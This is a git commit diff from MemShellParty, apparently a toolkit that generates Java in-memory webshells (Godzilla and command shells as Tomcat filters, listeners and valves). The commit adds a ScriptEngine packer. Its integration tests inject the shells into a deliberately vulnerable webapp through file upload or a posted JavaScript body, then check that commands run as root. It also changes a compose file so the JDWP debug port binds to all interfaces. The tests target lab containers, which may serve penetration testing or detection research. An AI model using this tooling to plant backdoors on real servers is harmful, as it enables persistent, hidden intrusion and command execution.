archive/MemShellParty
1
0
Fork 0
mirror of https://github.com/ReaJason/MemShellParty.git synced 2026-09-22 07:00:43 +08:00
Code Issues Actions Packages Projects Releases Wiki Activity

feat: support JDK8 ScriptEngine packer

Browse Source
This commit is contained in:
ReaJason
2024-12-04 03:14:08 +08:00
parent bddeb4fbaf
commit 9864c3da32
13 changed files with 267 additions and 63 deletions
Download Patch File Download Diff File Expand all files Collapse all files
integration-test/docker-compose/tomcat/docker-compose-10.1-jre11.yaml
+1 -1
View File
@@ -5,6 +5,6 @@ services:
- "8080:8080"
- "5005:5005"
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/usr/local/tomcat/webapps/app.war
integration-test/src/test/java/com/reajason/javaweb/integration/CommandShellTool.java
+14 -6
View File
@@ -5,17 +5,20 @@ import com.reajason.javaweb.config.CommandShellConfig;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import okhttp3.HttpUrl;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import org.junit.jupiter.api.Test;
import java.util.Objects;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
@@ -24,11 +27,16 @@ import static org.junit.jupiter.api.Assertions.assertEquals;
@Slf4j
public class CommandShellTool {
public static String generateJsp(Server server, CommandShellConfig config, String shellType, int targetJdkVersion) {
@Test
void testGenerate() {
String content = generate(Server.TOMCAT, CommandShellConfig.builder().paramName("cmd").build(), TomcatShell.JAKARTA_FILTER, Opcodes.V11, Packer.INSTANCE.ScriptEngine);
System.out.println(content);
}
public static String generate(Server server, CommandShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
ShellTool shellTool = ShellTool.COMMAND;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
return new String(packer.getPacker().pack(generateResult));
}
@SneakyThrows
@@ -44,7 +52,7 @@ public class CommandShellTool {
try (Response response = okHttpClient.newCall(request).execute()) {
String res = response.body().string();
assertEquals("root", res.trim());
assertTrue(res.contains("root"));
}
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/GodzillaShellTool.java
+15 -4
View File
@@ -6,7 +6,7 @@ import com.reajason.javaweb.config.GodzillaShellConfig;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memsell.packer.JspPacker;
import com.reajason.javaweb.memsell.packer.Packer;
import java.io.IOException;
@@ -18,11 +18,22 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
*/
public class GodzillaShellTool {
public static String generateJsp(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
public static String generate(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
JspPacker jspPacker = new JspPacker();
return new String(jspPacker.pack(generateResult));
return new String(packer.getPacker().pack(generateResult));
}
public static String generateJSP(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult));
}
public static String generateJS(Server server, GodzillaShellConfig config, String shellType, int targetJdkVersion) {
ShellTool shellTool = ShellTool.Godzilla;
GenerateResult generateResult = GeneratorMain.generate(server, shellTool, shellType, config, targetJdkVersion);
return new String(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
}
public static void testIsOk(String entrypoint, GodzillaShellConfig shellConfig) {
integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java
+14
View File
@@ -35,4 +35,18 @@ public class VulTool {
Assertions.assertEquals(200, response.code());
}
}
@SneakyThrows
public static void postJS(String uploadUrl, String js) {
RequestBody requestBody = new FormBody.Builder()
.add("js", js)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
Assertions.assertEquals(200, response.code());
}
}
}
integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/TomcatIntegrationTest.java
+66 -40
View File
@@ -6,6 +6,7 @@ import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.integration.CommandShellTool;
import com.reajason.javaweb.integration.GodzillaShellTool;
import com.reajason.javaweb.integration.VulTool;
import com.reajason.javaweb.memsell.packer.Packer;
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -57,14 +58,14 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat6ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat6ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_6, Packer.INSTANCE.JSP);
}
}
@@ -80,14 +81,15 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat7ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat7ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_7, Packer.INSTANCE.JSP);
}
}
@@ -102,14 +104,26 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat8ImageName + "|{0}Godzilla|JS")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testGodzillaJS(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine);
}
@ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat8ImageName + "|{0}Command|JS")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testCommandJS(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V1_8, Packer.INSTANCE.ScriptEngine);
}
}
@@ -124,14 +138,14 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat9ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat9ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.FILTER, TomcatShell.LISTENER, TomcatShell.VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V9);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V9, Packer.INSTANCE.JSP);
}
}
@@ -146,14 +160,14 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat10ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat10ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V11);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V11, Packer.INSTANCE.JSP);
}
}
@@ -168,18 +182,18 @@ public class TomcatIntegrationTest {
@ParameterizedTest(name = tomcat11ImageName + "|{0}Godzilla|JSP")
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
void testGodzilla(String shellType) {
testGodzillaJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
void testGodzillaJSP(String shellType) {
testGodzillaAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP);
}
@ParameterizedTest(name = tomcat11ImageName + "|{0}Command|JSP")
@ValueSource(strings = {TomcatShell.JAKARTA_FILTER, TomcatShell.JAKARTA_LISTENER, TomcatShell.JAKARTA_VALVE})
void testCommand(String shellType) {
testCommandJspInjectAssertOk(getUrl(tomcat), shellType, Opcodes.V17);
void testCommandJSP(String shellType) {
testCommandAssertOk(getUrl(tomcat), shellType, Opcodes.V17, Packer.INSTANCE.JSP);
}
}
private void testGodzillaJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
private void testGodzillaAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
String pass = "pass" + shellType;
String key = "key" + shellType;
String headerValue = "Godzilla" + shellType;
@@ -187,26 +201,38 @@ public class TomcatIntegrationTest {
.pass(pass).key(key)
.headerName("User-Agent").headerValue(headerValue)
.build();
String jspContent = GodzillaShellTool.generateJsp(Server.TOMCAT, shellConfig, shellType, targetJdkVersion);
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String filename = shellType + ".jsp";
String uploadEntry = url + "/upload";
String jspEntry = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
VulTool.urlIsOk(jspEntry);
GodzillaShellTool.testIsOk(jspEntry, shellConfig);
String content = GodzillaShellTool.generate(Server.TOMCAT, shellConfig, shellType, targetJdkVersion, packer);
String shellUrl = url + "/";
if (Packer.INSTANCE.JSP.equals(packer)) {
String uploadEntry = url + "/upload";
String filename = shellType + ".jsp";
shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
} else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
String uploadEntry = url + "/js";
VulTool.postJS(uploadEntry, content);
}
GodzillaShellTool.testIsOk(shellUrl, shellConfig);
}
private void testCommandJspInjectAssertOk(String url, String shellType, int targetJdkVersion) {
private void testCommandAssertOk(String url, String shellType, int targetJdkVersion, Packer.INSTANCE packer) {
String paramName = "Command" + shellType;
CommandShellConfig config = CommandShellConfig.builder().paramName(paramName).build();
String jspContent = CommandShellTool.generateJsp(Server.TOMCAT, config, shellType, targetJdkVersion);
String content = CommandShellTool.generate(Server.TOMCAT, config, shellType, targetJdkVersion, packer);
log.info("generated {} command shell with paramName: {}", shellType, config.getParamName());
String filename = shellType + ".jsp";
String uploadEntry = url + "/upload";
String jspEntry = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, jspContent);
VulTool.urlIsOk(jspEntry);
CommandShellTool.testIsOk(jspEntry, config);
String shellUrl = url + "/";
if (Packer.INSTANCE.JSP.equals(packer)) {
String uploadEntry = url + "/upload";
String filename = shellType + ".jsp";
shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
} else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
String uploadEntry = url + "/js";
VulTool.postJS(uploadEntry, content);
}
CommandShellTool.testIsOk(shellUrl, config);
}
}